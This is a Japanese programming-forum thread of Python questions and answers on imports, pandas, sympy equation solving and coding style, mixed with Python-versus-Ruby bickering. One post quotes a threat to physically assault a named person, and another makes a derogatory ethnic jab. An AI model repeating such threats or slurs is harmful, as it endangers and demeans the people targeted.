0476デフォルトの名無しさん
垢版 |
2019/06/06(木) 16:46:27.74ID:MmdtfHnB
安価の番号が違ってても気付かずにレスしまくってるのが
数名(見かけ上は)居るようだが気付いていないところを観ると
SCで自演しまくってるんだろうな
0478デフォルトの名無しさん
垢版 |
2019/06/07(金) 16:19:03.36ID:JkNsgHeN
paizaのプログラミング問題みたいなやつでお勉強はじめたんだけど、Aランク問題になるとタイムアウトしまくる
whileや再帰をforに変えるとか色々やったけど通らないしアルゴリズムが問題なんだろうな
とはいえ模範解答もないし、色々模索しているが挫折しかけているよ…

ただ、こういった高速化のための考え方
みたいなものを学ぶのもきっといつか役立つのかなとも思う
0480デフォルトの名無しさん
垢版 |
2019/06/07(金) 17:22:37.11ID:JkNsgHeN
>>479
paizaの問題は転載ダメなんだ、すまん
0483デフォルトの名無しさん
垢版 |
2019/06/07(金) 22:16:55.97ID:wtNNzOUb
計算量を落とす基本は、n^2 を、n log(n) の形にする事!

2^10 = 1,024 だから、2^20 = 百万。
ここで、データ数が百万の場合、百万 * 20 = 2千万になる!

一方、n^2 = 百万 * 百万 = 1兆

だから、log(n)の部分は、せいぜい、20〜50ぐらいだから無視できる!
つまり並べ替えて、ソートを使うのが速い!

だから、単純な2重ループになっていたら、ダメ!
ループの内側に、優先度キュー・2分ヒープなど、何らかのソートを使っていないと、ダメ!
0484デフォルトの名無しさん
垢版 |
2019/06/07(金) 22:27:46.33ID:iFZF9YQL
関数の中でグローバルな変数にアクセスするのはglobal宣言が必要ですが
リスト変数の場合はappendなどの操作をすると
宣言なしでグローバルなリスト変数にアクセスします

これを禁止するにはどうしたらいいでしょうか?
グローバルな変数にアクセスするときはすべて関数の引数として
渡して意図せず引数にないリストにアクセスしてしまうことは避けたいんです
0487デフォルトの名無しさん
垢版 |
2019/06/08(土) 08:27:06.81ID:5drHbnb0
Pythonって継承ってライブラリの作者しか使わないんじゃね?って思った
抽象クラスの概念ないしポリモーフィズム簡単だし
0488デフォルトの名無しさん
垢版 |
2019/06/08(土) 11:41:57.09ID:ryWt2Gls
abstractなクラスも作れる
何ならinstance化禁止にも出来る
0490デフォルトの名無しさん
垢版 |
2019/06/08(土) 12:39:59.66ID:sdBs9egv
標準ライブラリで実装されていることが言語仕様に入らないとか言い出すとasync awaitも言語仕様に文法は存在するけど何もしないコードになる
0495デフォルトの名無しさん
垢版 |
2019/06/08(土) 16:36:25.60ID:wPg0m4E0
ヤバイくらいに言葉が足りてないなw

継承を悪用したアホな設計が蔓延した結果、継承は悪用されやすいので別の代替手段が模索されているという感じだ

例えばjavaは多重継承を禁止した結果、extendsに加えてimplementsなんてものがある
全部implementsでいいんでは?と昔ながらに思ったものだ
0496デフォルトの名無しさん
垢版 |
2019/06/08(土) 19:03:56.74ID:CdSbqwtc
そしてdefaultメソッドとか作る始末
0497デフォルトの名無しさん
垢版 |
2019/06/09(日) 01:20:04.97ID:rn4C+nSw
継承は、Ruby on Rails とか、フレームワークの作者が作るもの。
それを使う方は、そのクラスを継承させて使う

フレームワークの作者以外が、継承を前提にしたクラスを書くのは、滅多にない
0498デフォルトの名無しさん
垢版 |
2019/06/09(日) 11:04:45.99ID:V8qyq4Ge
多くはないのは同意するが
滅多にないは言い過ぎ
訂正汁
0499デフォルトの名無しさん
垢版 |
2019/06/09(日) 12:40:55.08ID:BmQn1SBQ
baka niiha muri
0500デフォルトの名無しさん
垢版 |
2019/06/09(日) 13:28:49.95ID:0qCJsaBL
importについて教えてください。
現在作成しているプログラムはこのような構造になっています。

hogehoge
┣ db ┳ models.py # DBのスキーマを管理するモジュール。rds.pyをインポートしている
┃   .┃ rds.py # DBのセッションを管理するモジュール
┃   .┗ __init__.py
┗ app.py # Webサーバを起動するモジュール

(1)最初に事前準備として手動でmodels.pyを実行する事でDBの作成を行います。
# python db/models.py

(2)その後Webサーバを起動してプログラムの利用が始まります。
# python app.py

ここで質問なのですが、models.pyの中のimport文の書き方によって(1)と(2)のどちらかでエラーが発生します。
(1)でうまく動く時は import rds
(2)でうまく動く時は import db.rds

どうしてこのような挙動になるのか、(1)と(2)のどちらでも動くようにするにはどうしたら良いのかご教示ください。
よろしくお願い致します。
0501デフォルトの名無しさん
垢版 |
2019/06/09(日) 13:46:58.29ID:Gi1Jt9cY
pythonに限らず相対パスの話で
models.py自身から見りゃそりゃrdsは同じフォルダにある、
app.pyからrdsを見ると\db\rdsにある
0502デフォルトの名無しさん
垢版 |
2019/06/09(日) 14:03:14.07ID:0qCJsaBL
>>501
ありがとうございます。
どちらの場合でもエラーはmodels.pyから出るのですが、
app.pyで実行した場合はmodels.pyの中のrds.pyへのパスもmodels.pyから見たものではなくapp.pyが基準になるという事ですか?
なんてこったどうすればいいんだ・・・
0503デフォルトの名無しさん
垢版 |
2019/06/09(日) 14:07:25.86ID:V8qyq4Ge
from . import rds
これだけでいけるはず

必要があれば __init__.py にも何か書く
0504デフォルトの名無しさん
垢版 |
2019/06/09(日) 21:50:27.72ID:XtRL47qQ
python + chrome + seleniumで制御しています。 
拡張機能を読み込むとインストールに成功しましたのページが開いてしまい。それを手作業で消さないと続きが実行されません。
何か良い方法があれば教えてくれませんか?
0506デフォルトの名無しさん
垢版 |
2019/06/09(日) 22:46:33.49ID:XtRL47qQ
profileで拾っても拡張はインストールされた状態にならないので、毎回Optionsでインストールしています。
インストールされた状態でselenium動かせるならそれの方が良いです。
0507デフォルトの名無しさん
垢版 |
2019/06/09(日) 22:55:59.43ID:o1V0PdsM
profile指定で拡張そのままで起動できてるけどなあ…
ログイン状態とか維持できてる?
俺も最初はそんな問題あったような気がするけど…
正直原因は覚えてない
0508デフォルトの名無しさん
垢版 |
2019/06/09(日) 23:03:33.80ID:XtRL47qQ
ログイン状態はキープできてるのですが。。
わかりましたProfile使って色々やってみます。
何か間違えているのでしょうね
ありがとうございました
0509デフォルトの名無しさん
垢版 |
2019/06/11(火) 17:53:35.07ID:wG4IEdp6
Pythonが最高値を記録 - 6月開発言語ランキング 2019/06/11 08:49 後藤大地
https://news.mynavi.jp/article/20190611-840797/

TIOBE Softwareから、2019年6月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年6月におけるインデックス
は次のとおり。

6月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/photo/article/20190611-840797/images/002l.jpg

2019年6月はPythonが8.530%と、観測が始まってから最も高い水準に到達した。TIOBE
Softwareはこのままの傾向が続いた場合、今度3年から4年でPythonがJavaとC言語を抜いて
最も人気があるプログラミング言語になると予測している。

TIOBE Softwareはこうした動向の理由として、Javaはクラス、静的メソッド、パッケージ
などプログラミングの初心者が学ぶには冗長すぎる傾向があること、C言語ではメモリ
管理に直面することなどを挙げている。こうした言語と比べると、Pythonはシンプルで
ワンライナーで済むこともあり、その簡単さが普及につながっているという。
0510デフォルトの名無しさん
垢版 |
2019/06/11(火) 20:51:17.82ID:nbZ/cYor
pandasを使ってCSVファイルを開く処理を書いたのですが、
そのファイルのセルの一つに”Null”という文字列が含まれていたため、pandasを介すとそこのセルがNaN扱いになってしまいました
これを文字列のNullのまま扱ってもらうようにはできないでしょうか?
書いたコードはこんな感じです
import pandas as pd
df = pd.read_csv('D:/Desktop/python.csv', delimiter="\t", index_col=[0], header=None)
print(df) #Nullという文字が書かれたセルがNaN扱いになってしまった
0511デフォルトの名無しさん
垢版 |
2019/06/11(火) 22:35:59.26ID:yU84dTYh
試しにpandas使ってみたらNullっていう文字列はNullって文字列のままで表示されましたよ
そのpython.csvがおかしいんでないの? テキストエディタで中身確認した?
0513デフォルトの名無しさん
垢版 |
2019/06/11(火) 23:00:26.74ID:yU84dTYh
うんうん、そのCSVをメモ帳とかのテキストエディタで開いて中身を確認すると
nullのところが空になっているんじゃないかな?
0515デフォルトの名無しさん
垢版 |
2019/06/11(火) 23:27:40.11ID:yU84dTYh
うーん、同じようなファイルを作ってpandasで開いてみたけどnullはnullのままだわw

私の環境はWindowsで、メモ帳で>>514の途中までのデータを入力したファイル(文字コードはsjis)を用意して
encoding指定してpandasで開いてみました(encoding指定しないとエラーになる)
>>> df = pd.read_csv(r'C:\Users\tk\Desktop\aaa.csv', delimiter="\t", index_col=[0], header=None, encoding='cp932')
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
>>>

ということで、そちらの環境は日本語が含まれているファイルを開いているのにencoding指定無しで開けているのが異なる
もしかしたらencodingエラーを無視して開いているんじゃないのかな?それでpandasで読み込んだ時点でデータが
変わっていると予想
0516デフォルトの名無しさん
垢版 |
2019/06/11(火) 23:31:41.04ID:yU84dTYh
あ、ファイルの文字コードをutf-8にしたらencoding指定無しでいけたわ
でもnull文字はnull文字のままで、NaNにはならないなぁー
0518デフォルトの名無しさん
垢版 |
2019/06/12(水) 00:17:35.61ID:dGJQWhEh
>>> df = pd.read_csv(r'C:\Users\tk\Desktop\dotup.org1870215.csv', delimiter="\t", index_col=[0], header=None)
>>> print(df)
1
0
nudge 軽い突き
null ゼロ
nuptial 結婚式
obscenity わいせつ
obsessive 妄想を持った人
omen 前兆
onslaught 猛攻撃
>>>

ででぇーん、再現ならず・・じゃあ私もう寝るから、おやすみー
0519デフォルトの名無しさん
垢版 |
2019/06/12(水) 00:21:06.05ID:dGJQWhEh
ちなみに私の環境のpandasはAnacondaに入ってたやつで、バージョンは以下のとおり
>>> pd.__version__
'0.20.3'
>>>
0520デフォルトの名無しさん
垢版 |
2019/06/12(水) 00:21:38.85ID:BNfp0i08
うーん再現ならずですか・・・
お付き合いいただきありがとうございました、おやすみなさい
0521デフォルトの名無しさん
垢版 |
2019/06/12(水) 00:23:24.16ID:BNfp0i08
自分のpandasのバージョンは0.24.2なので、もしかしたらそこが原因かもしれませんね
いろいろ試してみます
ありがとうございました
0524デフォルトの名無しさん
垢版 |
2019/06/12(水) 10:08:38.96ID:kCj8PQiR
>>523
>しかし、既に「Apache OpenOffice」のユーザーがあまりにも多く、終わらせようにも影響力が大きいです。

普及のためには、M$との互換性が高く移行も容易、みたいな宣伝をするくせにw
0525デフォルトの名無しさん
垢版 |
2019/06/12(水) 21:48:46.24ID:DK5Xdw8/
win上のAnacondaのspyderのエディターで書いて実行する場合
qt5もtkinterもボタンを押して変化なし

Anaconda powershellというのでpython ファイル名だとちゃんと動いた
0526デフォルトの名無しさん
垢版 |
2019/06/12(水) 22:46:29.53ID:BSq+d1KN
出来るだけきれいなコードを書けるようになりたいと思ってます
動けば良いってレベルから次に行きたい
こういう場面はこういう処理の書き方のほうが良いとかはどうやって身につければ良いですか?
0528デフォルトの名無しさん
垢版 |
2019/06/12(水) 22:59:45.07ID:uvvnpCRF
>>526
人が書いたコードを読むこと
標準ライブラリとかで使う部分だけでもいいから読んでみる

PEP8にできる範囲で準拠してみるとか
他にはテストを書いてみるとかも役に立ってると思う

ていうか、色々ありすぎてキリがないけど
人が書いたコードを読むのは絶対必要かな
0529デフォルトの名無しさん
垢版 |
2019/06/12(水) 23:14:51.17ID:eCiQ25Tx
>>497
java,c++みたいな静的な言語の場合はそうだが、ruby,pythonみたいな言語の場合は
クロージャー渡すインターフェイスのが直感的。
0530デフォルトの名無しさん
垢版 |
2019/06/13(木) 00:18:27.47ID:QGxbtz9r
>>526
Pythonできれいなコードはあり得ない。C, C++, C#などで書き直すしかない。
0531デフォルトの名無しさん
垢版 |
2019/06/13(木) 01:32:57.26ID:SaZXT9dZ
>>539 そりゃねーよ。

Python だって型を指定することもできるんだぞ。 可読性はそれだけでも上がる。
初心者はそんなことは考えなくて良い。

人のプログラムを眺めること、ひたすら自分で練習問題を解いて人の回答と見比べてみること。

プログラミングのお題スレ Part14
https://mevius.2ch.net/test/read.cgi/tech/1558168409/
0532デフォルトの名無しさん
垢版 |
2019/06/13(木) 06:40:21.43ID:NulSwGzN
>>526
可読性が高く、きれいなコードが書けるのは、Ruby。
誰もが読めるから、アルゴリズムを説明する、仮想言語にもよく使われる

Node.js などは、Rubyのすべての実装を、JavaScript に移植したもの!
可読性が高いから、他の言語から、よく参考にされる

Rubyで「プログラミングのお題スレ」の問題を解くのが、お勧め!
0535デフォルトの名無しさん
垢版 |
2019/06/13(木) 08:13:31.56ID:N68D4F9N
>>532
あのスレは簡単なお題に対して短いプログラムで回答することが多く、one linerも多いだろう。
質問者の求めているものが得られるような場所じゃないぞ。

毎度のことだか、ところ構わず自分の好きなものを推すのはやめろ。「相手の求めること」と「自分の好きなもの」が違うことが理解できないのか?
0536デフォルトの名無しさん
垢版 |
2019/06/13(木) 08:24:08.02ID:5cAqIW1C
アルゴリズムの説明に使われるのってRubyよりPythonの方が圧倒的に多いよね
そもそもPythonは意図的にアルゴリズムの文献で使われてるような仮想言語(擬似言語の間違いだと思うが)
に似せて作られてるから当然ではあるんだが
0538デフォルトの名無しさん
垢版 |
2019/06/13(木) 10:03:17.67ID:S2o13G1a
CとJavaとPythonが多いよな。基本がCで、オブジェクト指向関係だとJavaが多いイメージ。結局は使用人口なんだろう。
抽象度の高いスクリプト言語の擬似コードとしては、RubyよりもPythonの方が多い印象だな。使用人口の点もあるし、クセが相対的に少ないので無難ということなんだろうが。
0539デフォルトの名無しさん
垢版 |
2019/06/13(木) 10:07:43.77ID:jbT5ijCY
>>526です
レス頂いた方ありがとうございます
単純にプログラミング能力不足なところもあるとは思うんですが
人のコード見ても理解出来ないときがあるのでいろんな人のを見て自分との差を考えてみます
0541デフォルトの名無しさん
垢版 |
2019/06/13(木) 16:51:10.14ID:RGywZD7u
>>539 理解できないときは、自分で実行させて中間の値がどう変わっていくのかをみていくと理解が早い。

そして自分で少し変えた例題を作って実行させてみる。

Python は、基本は優しそうに見えるから侮って勉強を怠ると、奈落の底に落ちるかも知れない。
登れば登るほど頂上が見えないようなところがあるな。 ライプラリが半端なく多いからね。 あんなのもこんなのも大抵できてしまう。
0542532
垢版 |
2019/06/14(金) 00:26:24.31ID:gXbRy3uY
IT 大賞を取った本「プログラマ脳を鍛える数学パズル」2015 も、多くはRuby の解答

一部は、JavaScript で書いてある
0543デフォルトの名無しさん
垢版 |
2019/06/14(金) 00:49:15.52ID:xBXyqLPT
>>542 どこの国の話だよ。 アメリカの大賞はどうだった?

Ruby が日本で生き延びられていたのは、Python のUTF の扱いが遅れたからに他ならない。 Python3 になってからやっと日本でも使われ始めたというだけの話。

いい加減死んだ子の年を数えるのはやめろよ。 虚しくなるだけ。
0545デフォルトの名無しさん
垢版 |
2019/06/14(金) 20:18:37.97ID:apjsiMiU
東京の書店の本棚はPythonだらけw
Pythonだけで一棚完全占拠+moreww
rubyは全盛期でも一列ちょっとが精々で一棚埋めたことなんてなかったけど最近は四分の一棚未満とか言う悲惨な状況wwwww
0546デフォルトの名無しさん
垢版 |
2019/06/14(金) 20:21:05.91ID:apjsiMiU
>>545
ごめん打ち間違えたwww
> 四分の一棚未満とか言う悲惨な状況wwwww
四分の一棚もあるわけないわw
「四分の一列未満とか言う悲惨な状況wwwww」の間違いww
0547デフォルトの名無しさん
垢版 |
2019/06/14(金) 20:31:13.90ID:uMeUmtQc
今は小学校から大学まで学校全てでPython メインで教えてるからね。 ruby の講座なんて見たことない。
0549デフォルトの名無しさん
垢版 |
2019/06/15(土) 11:14:09.22ID:Z5/LYv7k
>>545
ほんそれ
しかも*ubyは全盛期は*ailsばっかりだったしな
0550デフォルトの名無しさん
垢版 |
2019/06/16(日) 01:47:23.85ID:RkEkN9gF
Rubyの2.0が出るタイミングとPythonの3.0が出るタイミングが同じくらいだったんだけど
windowでのunicodeファイル名の扱いがrubyは絶望的ということで、自分はこの時期にRubyからpythonに乗り換えたんだよなぁ
0552デフォルトの名無しさん
垢版 |
2019/06/16(日) 14:49:27.57ID:yEr4r4hL
pascal臭さはpythonの良さだったのに最近のpythonはよりrubyに近づいてる。
総じてクソな方向だと思う。
0553デフォルトの名無しさん
垢版 |
2019/06/16(日) 16:14:21.89ID:Ls3vXLZ0
music playerをraspberry piで動かそうと思うんだけど
mp3はpygameでできるんだけどflacファイルの再生ってどうやったらいいんだろう?
0554デフォルトの名無しさん
垢版 |
2019/06/16(日) 17:11:59.12ID:Z9zSyDOE
S○X
0560デフォルトの名無しさん
垢版 |
2019/06/17(月) 11:28:20.75ID:lxO8a0KV
> 558
ruby誘導だったから放置
0561デフォルトの名無しさん
垢版 |
2019/06/17(月) 11:31:51.79ID:gprQuYsc
Rubyの話じゃ無いっすよ先輩
ちゃんとPythonに書き換えてるコードのリンクっす

つか、当方PythonかじりたてでPython以外の言語知らないっす
0562デフォルトの名無しさん
垢版 |
2019/06/17(月) 11:47:16.23ID:gprQuYsc
>>547
普通の小学生はScratch>>Pythonなのに
松山市の子供達はスモウルビィー>>Ruby

ファミコン>>スーパーファミコン
セガマークIII>>メガドライブ

に似てる気がして、迷わずPythonを選びました。
手続き型でスクレイピングで遊んでたらもっとPythonが知りたくなって
クラスの壁にぶち当たり、先輩達に相談に来たっす。

https://smalruby.jp/
0563デフォルトの名無しさん
垢版 |
2019/06/17(月) 11:47:43.64ID:gprQuYsc
スマヌ松江市
0564デフォルトの名無しさん
垢版 |
2019/06/17(月) 11:54:02.82ID:D4rpPP9R
当方PythonかじりたてでPython以外の言語知らないっす

の割にはrubyに詳しいなω
お前たい焼きの当事者だろ
0568デフォルトの名無しさん
垢版 |
2019/06/17(月) 13:32:22.87ID:gprQuYsc
マジ参考になるサイトありがとうございます!

ルーピー?Rubyチョイスしてしまったイタい子の事?ですか?
自分は最近Pythonはじめて言語選びでRubyのことさらり見ただけなので、よくわかりません。
ただ、世界的になったPythonと松江の田舎おじさん達の居場所作り言語を比較してもしょうがないと思うっす。
それにリンダリカウスさんはプログラミングできなさそうなのに、イミフな絵本作って居場所作りしてるし。

初心者の自分ですら、PythonとRubyどっちを選べば良いかぐらいわかります。
0569デフォルトの名無しさん
垢版 |
2019/06/17(月) 13:33:45.28ID:PGXWl9Ws
ここが結構まとまってそうだけど Python2 だから注意してね。Print文は ptint() に変換してね。

10. Pythonでオブジェクト指向@
https://sites.google.com/site/kuraitlab/programing-language/python/python-oop1
「クラスはたい焼きの型」で、「インスタンスがたい焼き」の関係です。
たい焼きクラスには「泳げたい焼き君」を歌うメソッドを定義します。
次にたい焼きをひとつ作ってメソッドを呼び、歌わせてみましょう。
0570デフォルトの名無しさん
垢版 |
2019/06/17(月) 14:12:55.67ID:gprQuYsc
クラスの概念理解できた気がします。ありがとうっす!
小規模なモンしか書いた事ない初心者なんで、メリットが直感的には理解できてませんが、
数名のプロジェクトや大規模なコードになると訂正修正がすんなりスマートに行くのも何となく理解できます。
ちょっと長めのアプリでも作ってクラスを利用するやり方を少しずつ学んでいきます。

あと、もいっこ質問なんすけど、Pythonが英語を学ぶ事なら
Rubyは韓国語みたいな認識でいいですか?
0571デフォルトの名無しさん
垢版 |
2019/06/17(月) 14:45:02.78ID:PGXWl9Ws
>>570 もう良いよ。 死んだ子に鞭を打つようなことはやめよう。 一人 *uby使いがPython スレを荒らして困ってるだけ。
*uby自体は悪くないけどうざいから自分はスマホの方ではNGワードに叩き込んでる。
0572デフォルトの名無しさん
垢版 |
2019/06/17(月) 16:40:00.84ID:gprQuYsc
>>570
Rubyは半島言語そのもの
0577デフォルトの名無しさん
垢版 |
2019/06/18(火) 06:14:11.68ID:3nOE2mBA
プログラム板にキチガイ降臨中!botに一晩も反応する異常さ
一般人(学校恩師)に殺害予告をしているのでスレ建て通報してください。
https://mevius.5ch.net/test/read.cgi/tech/1559872586/

142 名前:a4 ◆700L1Efzuv 投稿日:2019/06/18(火) 05:29:55 ID://qVkzO
>>141
名古屋の人な 俺ね、君の問題を大橋先生と混ぜないことにする。つまりね、
片桐孝洋のことをボコろうと思う。普通に顎の骨を折る。これくらいで警察来るか?
一般市民とかさ、普通にさ、俺らの秘密なんだけどさ、日本人なんて復活ねーから。
0578デフォルトの名無しさん
垢版 |
2019/06/18(火) 09:08:01.48ID:kixTd3MF
ごめんなさい
ちょっと盛り上げるために自演っぽくしました
本当にクラスのリンク教えてくれた人ありがとう

Rubyはやってません
0579デフォルトの名無しさん
垢版 |
2019/06/18(火) 16:41:50.60ID:skZhrTT7
sympy で、 a+b+c = 7 で、a,b,c が異なる正の整数の場合の組み合わせをすべて表示しろ、と言う様な場合どうするの? 1,2,4 といく組み合わせが欲しいんだけど

a,b,c = sympy.symbols( 'a:c')
print( sympy.solve(a+b+c-7,a) )
とかでも答えが出てこない。

色々調べたけど異なる数字というのをどう表現するのかわからない、集合? FiniteSet ?
0580デフォルトの名無しさん
垢版 |
2019/06/18(火) 17:30:18.18ID:QwXxieVT
print( [list(_) for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
0581デフォルトの名無しさん
垢版 |
2019/06/18(火) 18:01:48.15ID:SfhKVoXs
正の整数だったので
print( [[__ for __ in _ if __[a]>0 and __[b]>0 and __[c]>0] for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
0582デフォルトの名無しさん
垢版 |
2019/06/18(火) 18:03:43.76ID:SfhKVoXs
ああ異なるもあったか
がんがれ
0583デフォルトの名無しさん
垢版 |
2019/06/18(火) 18:11:26.29ID:SfhKVoXs
print( [[__ for __ in _ if __[a]>0 and __[b]>0 and __[c]>0 and len(set(__.values()))==3] for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
0584デフォルトの名無しさん
垢版 |
2019/06/18(火) 22:19:53.95ID:vXUKKx8C
djangoでusernameをuseridに置き換えて使いたいんだけど、
これって単純にテキストエディタで
env環境のdjangoファイルのusernameを全部useridに置き換えたらいいんだろうか?
0585デフォルトの名無しさん
垢版 |
2019/06/19(水) 02:01:30.44ID:vbzhpePV
>>583 こんなことしないといけないの? なんかスパッと出してくれるとばかり思ってた。
しかも異なる数字というのも面倒くさい。
print に空のリストが出てくるし、これはどうとでもなるけど。

でも solve の結果の変数として、a,b,c と3つ書けるのは勉強になった。 有難う。

正の整数というのは、symbols で文字列を定義するときに、integer=True , positive=True とするからチェックはいらないんだけど。ここで different=True とかあれば助かったのにな。

--------

なんか似たようなのがあった、明日ゆっくり見てみる。
https://stackoverflow.com/questions/41313116/python-sympy-solve-equations-with-different-values

linsolve とset を使うみたいだな。

plug_in_for_vars = ...

これはどういう意味? Ellipsis ? 略号? 組混み常数?
Ellipsis
The same as the ellipsis literal "...". Special value used mostly in conjunction with extended slicing syntax for user-defined container data types.

もう寝る
0586デフォルトの名無しさん
垢版 |
2019/06/19(水) 09:39:17.88ID:7l13oIkn
Unicode を生バイナリに変換するにはどうすればいいですか?
UTF8などのエンコードは不明だとした場合
0587デフォルトの名無しさん
垢版 |
2019/06/19(水) 09:44:28.84ID:7l13oIkn
>>586と一緒の人ですが
もともとはエンコード不明な文書のエンコードを判定したいんですけど
そのエンコード不明な文字列がユニコードとなっていて、判定ソフトに渡すとそこで停止します
そこで生バイナリで渡す必要があるのかなと
0588デフォルトの名無しさん
垢版 |
2019/06/19(水) 09:55:09.82ID:XfBh72nj
Unicode文字列になった時点ですでに情報が落ちている可能性があるので
一般論として、変換前のバイナリを入手すべきだ

それでもやりたいなら
Unicode文字列が0-255のコードポイントの範囲ならlaten1でbytesに変換
その範囲外ならordでチマチマやる
0589デフォルトの名無しさん
垢版 |
2019/06/19(水) 09:55:50.28ID:7l13oIkn
バイト文字列 ⇔ Unicode文字列は .encode("unicode-escape")で出来るらしいですが
動作はしたのですがアスキーと判定されました
正しく判定ができてない UTF8なのに
0590デフォルトの名無しさん
垢版 |
2019/06/19(水) 09:58:07.39ID:7l13oIkn
ここが駄目ですか?
このtxtがユニコードなのですが


r = requests.get(url)
txt = r.text
0591デフォルトの名無しさん
垢版 |
2019/06/19(水) 10:01:50.44ID:7l13oIkn
解決しました
ヒントもらって調べたら生データはこっちで取れました
判定も成功です

r = requests.get(url)
txt = r.content
0593デフォルトの名無しさん
垢版 |
2019/06/19(水) 15:40:51.42ID:gIy8vH6x
言語なんてとっかかりは簡単そうに見えるけど、仕事でやらないと身につかない。
0594デフォルトの名無しさん
垢版 |
2019/06/19(水) 16:45:16.79ID:hXvD76L8
やる氣スイッチ
0595デフォルトの名無しさん
垢版 |
2019/06/19(水) 16:47:25.35ID:gIy8vH6x
>>592 なんかいろんな関数があるけど便利そうな機能ですね。 有難う。
何となくわかったけどなんで関数が別れてるのか理解できない。 練習してみれば理解できるんでしょうけど、奥が深すぎる。
0596デフォルトの名無しさん
垢版 |
2019/06/19(水) 18:31:23.10ID:gIy8vH6x
>>595 日本語のページがあったのでさらっと見たら、やはり日本語だと理解が早い。
要は方程式のタイプにより使い分けるという話ね。

https://showa-yojyo.github.io/notebook/python-sympy/diophantine.html

https://python.atelierkobato.com/diophantine/

でも練習しないとわからないのは同じだけど。 でも結果を予測できるようにはなった。
0597デフォルトの名無しさん
垢版 |
2019/06/19(水) 19:09:24.37ID:b1RkNn/r
チュートリアル読んできた方がいいよ
0598デフォルトの名無しさん
垢版 |
2019/06/20(木) 11:28:37.71ID:ok8sRwUq
jupyter上でipywidgetsを用いて、一つのスライダーを動かすと、ほかのスライダーが自動で動くようにしたい

同じ値に揃えるだけならリンクで簡単なんだけど、積が一定とか和が一定のような条件で自動で連動させる簡単な方法ってある?
0599デフォルトの名無しさん
垢版 |
2019/06/20(木) 12:57:43.48ID:jU4LCfdb
>>597 読んでもよくわからない。

diophantine(x+y+z-7)
# {(t0, t0+t1, -2t0-t1+7)} << この答えの中の t0 t1 に値を入れる方法は?
s=diophantine(x+y+z-7)

例題では、 何かの変数に popしてるみたいだけど
x_1 = s.pop() # 外の {} が取れるだけ (t0, t0+t1, -2t0-t1+7)

x0,y0,z0 =s.pop()
x0 # t0
y0 # t0+t1
z0 # -2t0-t1+7
t0,t1=symbols('t0 t1') # こうするとなんとなく t0,t1 は答えの中のt0,t1 に似てるみたいだけど代入はできない
t0=1
t1=1
x00=t0
y01=t0+t1
z01= -2*t0-t1+7
x00==x0 #True
y01==y0 #True
z01==z0 #True
ここからが解らない。

t0,t1=1 ,2
(t0, t0+t1, -2*t0-t1+7) # (1,3,3)
みたいに一つずつ入れていくのもバカみたいな気がする。 全ての組み合わせは出ないのかな?
0602デフォルトの名無しさん
垢版 |
2019/06/20(木) 13:41:46.39ID:ok8sRwUq
媒介変数はt_0みたいにアンダースコア付きになってる

代入できない問題は新しいxをsympify(str(x0))で文字列経由で定義してやれば出来るけど代入出来ない理由と正しいやり方は知らない
0604デフォルトの名無しさん
垢版 |
2019/06/20(木) 14:21:50.03ID:jU4LCfdb
>>603 なるほど段々わかってきた。代入もできてるみたいだね。その中の例題

from sympy import *
x, y, z = symbols("x y z")
[s] = diophantine(x*411 + y*295 + z*161 - 3200)
print(s)# (t_0, 2627*t_0 + 161*t_1 - 19200, -4816*t_0 - 295*t_1 + 35200)
t_0, t_1 = s[2].free_symbols
for t0 in range(int(35200/4816)+1): # これがミソ
 for t1 in range(int(35200/295)+1): # これがミソ
  sol = [expr.subs({t_0: t0, t_1: t1}) for expr in s] # 代入
   if min(sol) > 0:
    print(sol) # [4, 2, 6]
0605デフォルトの名無しさん
垢版 |
2019/06/20(木) 15:05:44.02ID:9IsAc6k5
.free_symbols がミソ
ただし結局のところ
やってることは >>583 と変わらない
0606デフォルトの名無しさん
垢版 |
2019/06/20(木) 15:06:52.46ID:jU4LCfdb
出来た。 有難うございました。

なぜか、ソースをアップできないので ideon にあげました。 sympyがインストールされていないので実行はできませんが
https://ideone.com/3jwKlB
0607デフォルトの名無しさん
垢版 |
2019/06/20(木) 15:17:31.22ID:9IsAc6k5
x, y, z, t_0, t_1= symbols('x y z t_0 t_1', integer=True, positive=True, nonzero=True)

ここの t_0 と t_1 は意味が無いと思う
0608デフォルトの名無しさん
垢版 |
2019/06/20(木) 16:39:17.52ID:Gh9YFRfh
>>607 そうそう全く意味ない、わかってたけど取るのを忘れてた。 nonezero 属性がつけられるかなと思ったんだけど、意味なかった。
むしろ、to,t1 に nonezero 属性をつければよかったのかも。 if min(sol)> 0 を無くしたかった。

今外だから試せないけど。
0611デフォルトの名無しさん
垢版 |
2019/06/20(木) 19:28:21.47ID:PrZKlplW
>>610 その通り。 小学生が算数の練習問題を沢山解いて、すぐに答えが出るようになるのと同じ。
練習、練習。

基礎ができてきたら、方程式を覚えるように次のステップに入る。 結構奥も深いから基礎をしっかりしておく方が良い。

基礎ができていないと上に進んだ時につまづく。
最初の基礎は、入門書レベルで良い。 そのレベルの問題ならカンニングしなくても8割がたサラサラ解けるようになったら次に進む。
0613デフォルトの名無しさん
垢版 |
2019/06/20(木) 19:30:44.80ID:PrZKlplW
なぜすぐに解ける事が重要かというと、短い時間でプログラムする事が職業プログラマーだから。
時間をかけてとくなんてのは許されない。 難しい問題に時間がかかるのは仕方ないが、基本はさらっと進まないと仕事にならない。
0614デフォルトの名無しさん
垢版 |
2019/06/20(木) 19:35:05.09ID:PrZKlplW
>>612 昨日、ソフトバンクグループの株主総会に参加したが、5歳の坊やがどんな勉強をしたら良いですかと聞いた時には、みんなの心が和らいだ。

孫さんは、小さい頃からどんな人になりたいか強く希望して勉強する事が大事だと言ってた。

全ては同じ。 志高く。
0616デフォルトの名無しさん
垢版 |
2019/06/20(木) 19:55:54.66ID:Gh9YFRfh
>>615 坊や偉いよ。 お金を沢山稼ぐ事も志としては大事にした方が良いですよ。

お金を稼ぐことを目標にするのは汚いというようなことはないです。 お金を稼げる事業者、経営者、政治家になってください。

みたいな事を子供に対しても言ってた。 少し捻じ曲げてゲーむ開発者向けにしたけど。
0617デフォルトの名無しさん
垢版 |
